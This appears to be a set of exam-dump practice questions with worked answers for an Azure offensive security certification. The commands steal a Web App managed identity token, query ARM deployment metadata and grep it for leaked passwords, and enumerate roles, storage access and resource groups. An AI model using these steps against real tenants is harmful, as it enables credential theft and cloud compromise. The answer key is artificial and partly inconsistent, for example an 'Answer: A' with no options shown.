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| Section | Weight | Objectives |
|---|---|---|
| Topic 1: Privilege Escalation | 25% | - Managed Identity exploitation - Service Principal and App Registration attacks - Key Vault and secret management misconfigurations - Entra ID role and permission abuse |
| Topic 2: Initial Access | 20% | - Token and session abuse - Exposed secrets and configuration flaws - Password spraying and credential stuffing - Consent phishing and application abuse |
| Topic 3: Reconnaissance & Enumeration | 20% | - Entra ID (Azure AD) enumeration - DNS, endpoints, and exposed services mapping - Azure tenant and domain enumeration - Azure resource discovery |
| Topic 4: Post-Exploitation & Persistence | 15% | - Defense evasion in Azure environment - Data collection and exfiltration techniques - Maintaining persistent access - Full attack chain demonstration |
| Topic 5: Lateral Movement & Tenant Compromise | 20% | - Compute, storage, and network pivoting - Hybrid identity and on-prem integration abuse - API and Azure management endpoint exploitation - Cross-resource and subscription hopping |
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NEW QUESTION # 27
With access to the Web App's Managed Identity, you can now query certain Azure Resources. Use this access to uncover the hidden secret left behind during provisioning. What is the secret?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
sumit.siddharth@azuresecops.onmicrosoft.com
Detailed Solution:
The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity .
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
For Windows PowerShell inside Kudu:
$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/
& client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "
$response = Invoke-RestMethod -Uri $uri -Headers @{
" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "
$rg = " Excalibur-Resources "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-
01 " `
-Headers @{ Authorization = " Bearer $token " }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
For each deployment name returned, inspect it:
$deploymentName = " < deployment-name > "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Also check deployment operations:
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName/operations?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H " Authorization: Bearer $TOKEN " \
" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups
/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api- version=2021-04-01 " \
| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag ' Final answer:
Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab- generated.
NEW QUESTION # 28
Using the managed identity principal ID discovered in the previous task, identify which Azure RBAC role is assigned to it.
Answer: A
Explanation:
Detailed Solution:
Query role assignments for the managed identity principal:
az role assignment list \
--assignee b72a4c19-92f6-47f3-b3dd-9db5a31831d1 \
--all \
--output table
Expected output:
Principal Role Scope
------------------------------------ ---------------------- ---------------------------------------------- b72a4c19-92f6-47f3-b3dd-9db5a31831d1 Key Vault Secrets User /subscriptions/.../resourceGroups/rg-prod- apps-eastus The assigned role is:
Key Vault Secrets User
Azure RBAC role assignments can be granted to users, groups, service principals, and managed identities.
NEW QUESTION # 29
You discover a storage account named prodreportstore01. Determine whether public blob access is enabled on the storage account.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
allowBlobPublicAccess: true
Detailed Solution:
Run:
az storage account show \
--name prodreportstore01 \
--resource-group rg-prod-apps-eastus \
--query " {Name:name,AllowBlobPublicAccess:allowBlobPublicAccess} " \
--output json
Expected output:
{
" Name " : " prodreportstore01 " ,
" AllowBlobPublicAccess " : true
}
This means public blob access is enabled at the storage-account level. That does not automatically mean every container is public, but it permits public container/blob exposure if configured.
NEW QUESTION # 30
After gaining access to the Azure tenant, enumerate all resource groups available to the compromised user.
One resource group contains the word prod. What is the name of that resource group?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
rg-prod-apps-eastus
Detailed Solution:
List accessible resource groups:
az group list --output table
For a cleaner search:
az group list \
--query " [?contains(name, ' prod ' )].{Name:name,Location:location} " \
--output table
Expected output:
Name Location
-------------------- ----------
rg-prod-apps-eastus eastus
The resource group containing prod is:
rg-prod-apps-eastus
NEW QUESTION # 31
A compromised developer account has Reader access to a resource group. Enumerate all Azure resources in that resource group and identify the exposed App Service name.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
finance-reporting-api
Detailed Solution:
Set the resource group:
RG= " rg-prod-apps-eastus "
List resources:
az resource list \
--resource-group " $RG " \
--output table
Expected output:
Name ResourceGroup Location Type
---------------------- --------------------- ---------- ------------------------------- finance-reporting-api rg-prod-apps-eastus eastus Microsoft.Web/sites prod-reportstore01 rg-prod-apps-eastus eastus Microsoft.Storage/storageAccounts kv-finance-prod rg-prod-apps-eastus eastus Microsoft.KeyVault/vaults The exposed App Service is:
finance-reporting-api
NEW QUESTION # 32
......
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